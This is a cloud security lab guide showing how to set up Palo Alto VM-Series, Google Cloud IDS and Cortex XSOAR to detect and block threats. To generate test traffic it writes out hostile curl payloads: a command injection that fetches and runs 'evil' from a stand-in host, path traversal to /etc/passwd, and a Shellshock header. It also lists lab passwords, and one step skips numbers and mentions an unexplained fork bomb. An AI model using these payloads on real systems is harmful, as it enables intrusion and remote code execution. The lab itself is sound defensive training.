Overview

In this lab, you will learn how the VM-Series firewall protects cloud networks by safely enabling applications and automatically preventing threats in realtime. You will then deploy Google Cloud IDS, the first native Google Cloud security offering powered by Palo Alto Networks detection technologies, to detect network threats and identify applications. You will then enable automatic incident response through Cortex Playbooks triggered by Cloud IDS events.

What you'll learn

In this lab, you will perform the following tasks:

  • Understand the network topology.
  • Secure north/south VPC traffic with VM-Series.
  • Detect east/west threats & applications with Google Cloud IDS.
  • Automate incident response with Cortex XSOAR.

Setup and requirements

Before you click the Start Lab button

Read these instructions. Labs are timed and you cannot pause them. The timer, which starts when you click Start Lab, shows how long Google Cloud resources will be made available to you.

This hands-on lab lets you do the lab activities yourself in a real cloud environment, not in a simulation or demo environment. It does so by giving you new, temporary credentials that you use to sign in and access Google Cloud for the duration of the lab.

To complete this lab, you need:

  • Access to a standard internet browser (Chrome browser recommended).
Note: Use an Incognito or private browser window to run this lab. This prevents any conflicts between your personal account and the Student account, which may cause extra charges incurred to your personal account.
  • Time to complete the lab---remember, once you start, you cannot pause a lab.
Note: If you already have your own personal Google Cloud account or project, do not use it for this lab to avoid extra charges to your account.

How to start your lab and sign in to the Google Cloud console

  1. Click the Start Lab button. If you need to pay for the lab, a pop-up opens for you to select your payment method. On the left is the Lab Details panel with the following:

    • The Open Google Cloud console button
    • Time remaining
    • The temporary credentials that you must use for this lab
    • Other information, if needed, to step through this lab
  2. Click Open Google Cloud console (or right-click and select Open Link in Incognito Window if you are running the Chrome browser).

    The lab spins up resources, and then opens another tab that shows the Sign in page.

    Tip: Arrange the tabs in separate windows, side-by-side.

    Note: If you see the Choose an account dialog, click Use Another Account.
  3. If necessary, copy the Username below and paste it into the Sign in dialog.

    {{{user_0.username | "Username"}}}

    You can also find the Username in the Lab Details panel.

  4. Click Next.

  5. Copy the Password below and paste it into the Welcome dialog.

    {{{user_0.password | "Password"}}}

    You can also find the Password in the Lab Details panel.

  6. Click Next.

    Important: You must use the credentials the lab provides you. Do not use your Google Cloud account credentials. Note: Using your own Google Cloud account for this lab may incur extra charges.
  7. Click through the subsequent pages:

    • Accept the terms and conditions.
    • Do not add recovery options or two-factor authentication (because this is a temporary account).
    • Do not sign up for free trials.

After a few moments, the Google Cloud console opens in this tab.

Note: To view a menu with a list of Google Cloud products and services, click the Navigation menu at the top-left. Navigation menu icon Note: Keep your labs open in a separate browser tab or window. The outputs generated in the are used throughout the lab.

Task 1. Review the lab topology

The diagram and table below illustrate the lab environment. Please, take the time to familiarize yourself with each traffic flow.

diagram.png
Flow Description
Red Line Shows all inter-VPC traffic (north-south) traffic to/from the trust network. All inter-VPC traffic is routed to the VM-Series for in-line prevention.
Blue Line Shows all intra-VPC (east-west) traffic within the trust network.
Green Line Shows the integration between Cortex XSOAR and Cloud IDS. Threats detected by Cloud IDS are forwarded via pub/sub to Cortex XSOAR for security orchestration.

Task 2. Secure VPC networks with VM-Series

In this task, protect a VPC network from internet bound threats by using App-ID™ and Threat Prevention™ on the VM-Series firewall.

Step 1. Secure internet inbound traffic

Internet inbound traffic to the trust VPC flows through the public address attached the VM-Series untrust interface. Then, the VM-Series inspects and translates this traffic to internal resources in the trust VPC.

  1. Access the web service on VM A through the VM-Series firewall.

    If the web service does not resolve, please wait an additional 5 minutes. The lab resources may not have finished their provisioning process. http://{{{project_0.startup_script.vmseries_nic0_ip|pending}}}
    p3_01.png The request to the web service is successful because the VM-Series is pre-configured to allow web-browsing traffic from the internet to VM A.
  2. Access the Jenkins service on VM A by appending :8080 to the previous URL.

    http://{{{project_0.startup_script.vmseries_nic0_ip|pending}}}:8080
    p3_02.png> The request to the Jenkins server fails because the Jenkins application has not been enabled in the VM-Series security policies. Palo Alto Networks firewalls leverage App-ID™ to identify and enable applications with layer-7 controls.

Step 2. Safely enable applications

In this step, use App-ID™ to allow jenkins traffic through the VM-Series security policies.

  1. In a separate browser tab, log into the VM-Series.

    Key Value
    Console
    Username paloalto
    Password Pal0Alt0@123
  2. Go to Policies → Security. Within the inbound-web security policy, click the web-browsing application.

    p3_03.png
  3. Click Add and search for jenkins. Click OK.

    p3_04.png
  4. Click Commit → Commit to apply the changes to the VM-Series.

    p3_05.png
  5. After the commit completes, access the Jenkins service again.

    http://{{{project_0.startup_script.vmseries_nic0_ip|pending}}}:8080
    p3_06.png The Jenkins page resolves because you enabled the jenkins App-ID™ within the VM-Series security policies.
  6. Go to Monitor → Traffic. Enter the query below to filter for jenkins traffic.

    ( app eq jenkins ) p3_07.png Notice the jenkins application was denied before the jenkins application was added to the inbound-web security policy.

    This is because the VM-Series use multiple identification techniques to determine the exact identity of applications traversing your network, including those that try to evade detection by masquerading as legitimate traffic.

Click Check my progress to verify the objective.

Enable the Jenkins Application

Step 4. Secure egress VPC traffic

All egress traffic from the trust network is routed to the VM-Series trust interface for inspection and enforcement.

  1. Click Activate Cloud Shell at the top of the Google Cloud console.

    cloudshell.png
  2. In Cloud Shell, SSH to the attacker VM in the trust network (Password: kali).

    ssh kali@{{{project_0.startup_script.vmseries_nic0_ip|pending}}} Just like the jenkins example in the previous step, the SSH session is inspected and translated by the VM-Series to the attacker VM.
  3. On the attacker, attempt to download a pseudo-malicious file from the internet.

    wget www.eicar.org/download/eicar.com.txt --tries 5 --2023-04-17 13:16:30-- http://www.eicar.org/download/eicar.com.txt Resolving www.eicar.org (www.eicar.org)... 89.238.73.97, 2a00:1828:1000:2497::2 Connecting to www.eicar.org (www.eicar.org)|89.238.73.97|:80... connected.

HTTP request sent, awaiting response... Read error (Connection reset by peer) in headers. Giving up. The eicar file is considered safe and is used to test threat prevention capabilities.
  4. On the VM-Series, go to Monitor → Threat to view the threat logs.
    p3_08.png

    In the threat logs, you should see the malicious file (eicar) was successfully blocked.
  5. It is likely other threats are visible in the threat logs. These are real threats hitting the public address assigned to the VM-Series.

    You can click the magnify glass next to any of the logs to view more information, including: threat severity, filename, file type, application, source/destination country, and user, and more. p3_09.png
When traffic matches the allow rule defined in the security policy, the security profiles that are attached to the rule provide further content inspection.

Security profiles include:
  • Antivirus
  • Anti-Spyware
  • Vulnerability Protection
  • URL Filtering
  • File Blocking
  • WildFire Analysis

Task 3. Detect threats & applications with Google Cloud IDS

In this task, configure a traffic mirroring policy for the Cloud IDS endpoint. Then, generate malicious traffic from the attacker VM (Kali linux) and leverage an exploit against the Jenkins server. Once the attack is complete, review the Cloud IDS application and threat logs in Logs Explorer.

Step 1. Observe the Cloud IDS Endpoint

Cloud IDS uses a resource known as an IDS endpoint, a zonal resource that can inspect traffic from any zone in its region. Each IDS endpoint receives mirrored traffic and performs threat detection analysis.

  1. In Google Cloud, go to Network Security → Cloud IDS.

    p4_00a.png An IDS endpoint is created for you for this lab. The endpoint can take up to 20 minutes to finish provisioning.
  2. Click the endpoint cloud-ids-endpoint to view more information about its configuration.

    p4_00b.png The endpoint is attached to the panw-trust-vpc and is configured to log all traffic and to alert on threats with a severity level of Informational or higher.

Step 2. Configure a traffic mirroring policy

A traffic mirroring policy selects the type of traffic to send to the Cloud IDS endpoint for inspection.

  1. On the cloud-ids-endpoint, click Attach.

    p4_01.png
  2. Enter a name for the policy and enable policy enforcement. Click Next.

    p4_02.png
  3. Select All Subnets for the mirrored source. Click Next.

    p4_03.png
  4. Select Mirror all traffic (default). Click Submit.

    p4_04.png This policy will mirror all traffic across the trust network to the Cloud IDS endpoint for inspection.

Click Check my progress to verify the objective.

Configure a traffic mirroring policy

Step 3. Generate malicious traffic

Generate malicious traffic from the attacker VM to a victim VM. This traffic is sent by the mirroring policy to the Cloud IDS endpoint for inspection.

  1. If your session timed out, SSH to the attacker VM in Cloud Shell (Password: kali).

    ssh kali@{{{project_0.startup_script.vmseries_nic0_ip|pending}}}
  2. On the attacker, make several requests to the jenkins service.

    curl http://192.168.11.4:8080/?[1-10] Later in the lab, we will search for this request in the Cloud IDS traffic logs.
  3. Run the following curl requests to simulate malicious traffic within the trust network boundary.

    curl "http://192.168.11.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil" curl http://192.168.11.20/?item=../../../../WINNT/win.ini curl http://192.168.11.20/eicar.file curl http://192.168.11.20/cgi-bin/../../../..//bin/cat%20/etc/passwd curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.11.20/cgi-bin/test-critical echo done ## curl "http://192.168.11.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil" <html> <head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center>nginx/1.14.2</center> </body> </html> ## curl http://192.168.11.20/?item=../../../../WINNT/win.ini <!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working.

  8. (Optional) Attempt to access the web or jenkins service on VM A, again.

    http://{{{project_0.startup_script.vmseries_nic0_ip|pending}}} http://{{{project_0.startup_script.vmseries_nic0_ip|pending}}}:8080
    p3_02.png> The page should be unresponsive because of the simple fork bomb.

    Note, it may take several refreshes for the page to become unresponsive.

Step 4. View Cloud IDS threat logs

The threat logs generated by Cloud IDS can be viewed directly in the Google Cloud console.

  1. In the Cloud IDS dashboard, click IDS Threats → Refresh.

    p4_05.png You should see the threats detected by Cloud IDS based on the malicious traffic previously generated.
  2. (Optional) Click ⋮ → View threat details to view additional details about a given threat.

    p4_06.png

Step 5. View Cloud IDS traffic logs

Cloud IDS ingests traffic logs based on your endpoint and traffic mirroring policy configuration. This enables you to gain visibility into application traffic, including: addresses, App-ID, source and destination countries, threat type, and more.

  1. Click IDS Endpoints → cloud-ids-endpoint → View related logs.

    p4_07.png Log explorer displays all of the traffic and threat logs received and detected by Cloud IDS.
  2. Click Clear query and paste the query below. Then, click Run query.

    resource.type:("ids.googleapis.com/Endpoint") AND resource.labels.location:("{{{project_0.startup_script.gcp_zone|pending}}}") jsonPayload.application="jenkins"
    p4_08.png This query displays all jenkins within your deployment zone. Feel free to adjust the filter to search for different types of traffic and alerts.
  3. Expand a given traffic log to view more information. The example below shows traffic using the App-ID jenkins between two servers in the trust network.

    p4_09.png

Task 4. Automate response with Cortex XSOAR

In this task, configure Cortex XSOAR to receive threat intel from Cloud IDS. When a threat is detected, XSOAR executes a playbook to automatically block the attacker's IP address by adding it to the xsoar-blacklist VPC firewall rule.

Cortex XSOAR is a comprehensive security orchestration, automation, and response (SOAR) platform that streamlines and enhances incident response processes for cybersecurity teams.

Step 1. Create a Pub/Sub Topic & VPC Firewall Rule

In this step, create a Pub/Sub topic to receive events generated by Cloud IDS. Then, create a VPC firewall rule (xsoar-blacklist) to deny all traffic from specific source IP addresses.

  1. In Cloud Shell, click + to open a new tab.

    p5_00a.png
  2. In the new tab, create a Pub/Sub topic (cloud-ids-topic) and subscription (cloud-ids-sub).

    gcloud pubsub topics create cloud-ids-topic gcloud pubsub subscriptions create cloud-ids-sub \ --topic="cloud-ids-topic" \ --ack-deadline="10" \ --expiration-period="2678400s" \ --message-retention-duration="604800s" Created topic [projects/qwiklabs-gcp-02-09f1cbf76242/topics/cloud-ids-topic]. Created subscription [projects/qwiklabs-gcp-02-6e24c4d7456b/subscriptions/cloud-ids-sub].
  3. Create a VPC firewall rule named xsoar-blacklist.

    gcloud compute firewall-rules create xsoar-blacklist \ --direction=INGRESS \ --priority=10 \ --network=panw-trust-vpc \ --action=DENY \ --rules=all \ --source-ranges=1.1.1.1 Creating firewall...working..Created [https://www.googleapis.com/compute/v1/projects/qwiklabs-gcp-02-09f1cbf76242/global/firewalls/xsoar-blacklist]. Creating firewall...done. NAME: xsoar-blacklist NETWORK: default DIRECTION: INGRESS PRIORITY: 10 ALLOW: DENY: all DISABLED: False In order to create the rule, a dummy IP (1.1.1.1) is added as a source address.

Click Check my progress to verify the objective.

Create a Pub/Sub Topic & VPC Firewall Rule

Step 2. Create a log sink

XSOAR subscribes to a Pub/Sub topic to receive events generated by Cloud IDS. Here, we will create a log sink to forward CRITICAL threats detected by Cloud IDS to XSOAR.

  1. In Logs Explorer. Click Clear Query.

    p5_00.png
  2. Click More Actions → Create sink.

    p5_02.png
  3. Set Sink name to cloud-ids-sink. Click Next.

    p5_03a.png
  4. Set Sink Service to Cloud Pub/Sub topic and select cloud-ids-topic. Click Next.

    p5_03b.png
  5. Copy and paste the following into your inclusion filter. Click Create Sink.

    logName="projects/{{{project_0.project_id|pending}}}/logs/ids.googleapis.com%2Fthreat" jsonPayload.alert_severity="CRITICAL" p5_03c.png The sink forwards CRITICAL Cloud IDS threats to XSOAR for orchestration.

Click Check my progress to verify the objective.

Create a log sink

Step 3. Retrieve service account key file

In this step, create a service account key file to authenticate XSOAR to your Google Cloud project.

  1. Go to IAM & Admin → Service Accounts.

  2. On the qwiklabs-gcp-## account, click ⋮ → Manage Keys.

    p5_04.png
  3. Click Add Key → Create New Key. Select JSON and click Create.

    p5_05.png The key will download to your local machine. The key will be used to authenticate Cortex XSOAR to your Google Cloud project.

Click Check my progress to verify the objective.

Create a service account key file to authenticate XSOAR

Step 4. Configure XSOAR integrations

Configure the Google Cloud Compute and Pub/Sub XSOAR integrations. This enables XSOAR to receive events from Cloud IDS and update the xsoar-blacklist firewall rule.

  1. Access the XSOAR console.

    Key Value
    Console
    Username admin
    Password fjvrcrkFw1PU6fSYizJA
  2. Go to Settings → Integrations. Search for google cloud compute. Click Add instance.

    p5_06.png
  3. On your local machine, copy the contents qwiklabs-gcp-##.json to your clipboard.

  4. Paste the contents qwiklabs-gcp-##.json into the Service Account Private Key File field.

  5. Click Test to verify connectivity. Then, click Save & Exit.

    p5_07.png
  6. Search for google cloud pub/sub. Click Add instance.

    p5_08.png
  7. Configure the Pub/Sub integration as follows:

    Field Value
    Fetch incidents Enable
    Incident type google cloud IDS
    Service Account Key File Paste the contents of your qwiklabs-gcp-##.json.
    Project ID
    Subscription ID cloud-ids-sub
  8. Click Test to verify connectivity. Then click Save & Exit.

    p5_09.png

Step 5. Prepare XSOAR playbook

Prepare the XSOAR playbook to update the xsoar-blacklist firewall rule with malicious addresses detected by Cloud IDS.

  1. In XSOAR, go to Playbooks and search for Cloud IDS.

  2. Click Cloud IDS-IP Blacklist-GCP Firewall_Combine → Playbook Triggered.

    p5_10.png
  3. Click Playbook Triggered. Set the value to xsoar-blacklist. Click Save.

    p5_11.png When a incident is detected by Cloud IDS, the playbook will automatically add the malicious source address to the xsoar-blacklist firewall rule.

Step 6. Resimulate malicious traffic

Simulate malicious traffic from the attacker VM within the trust network. When a threat is detected by Cloud IDS, XSOAR will automatically add the attacker's address (192.168.11.3) to the xsoar-blacklist firewall rule.

  1. In Cloud Shell, SSH into to the attacker VM (Password: kali).

    ssh kali@{{{project_0.startup_script.vmseries_nic0_ip|pending}}}
  2. Generate sudo threat with the threat severity of CRITICAL.

    curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.11.20/cgi-bin/test-critical The threat generates a CRITICAL threat. This threat matches the sink filter and will be forwarded by Pub/Sub to XSOAR.

Step 7. View the actions taken by XSOAR

The threat generated in the previous step is forwarded by Pub/Sub to XSOAR. XSOAR uses this information to update the xsoar-blacklist firewall rule with the threat's source address.

  1. In XSOAR, go to Incidents and enter the following into the search filter.

    type:"google cloud IDS" and status:Closed p5_12.png The incident should appear in XSOAR within 90 seconds.
  2. Open the incident, click Workplan to review the actions taken by XSOAR.

    p5_13.png You should see the workplan completed successfully.
  3. Go to VPC network → Firewall. Click xsoar-blacklist.

    p5_14.png The attacker's IP (192.168.11.3) should be added to the rule automatically.

    You may see other addresses. These addresses were added by XSOAR because Cloud IDS detected a CRITICAL threat from those addresses.
    Refresh the page if the attacker's address is not listed. It can take up to 30 seconds for the address to appear.
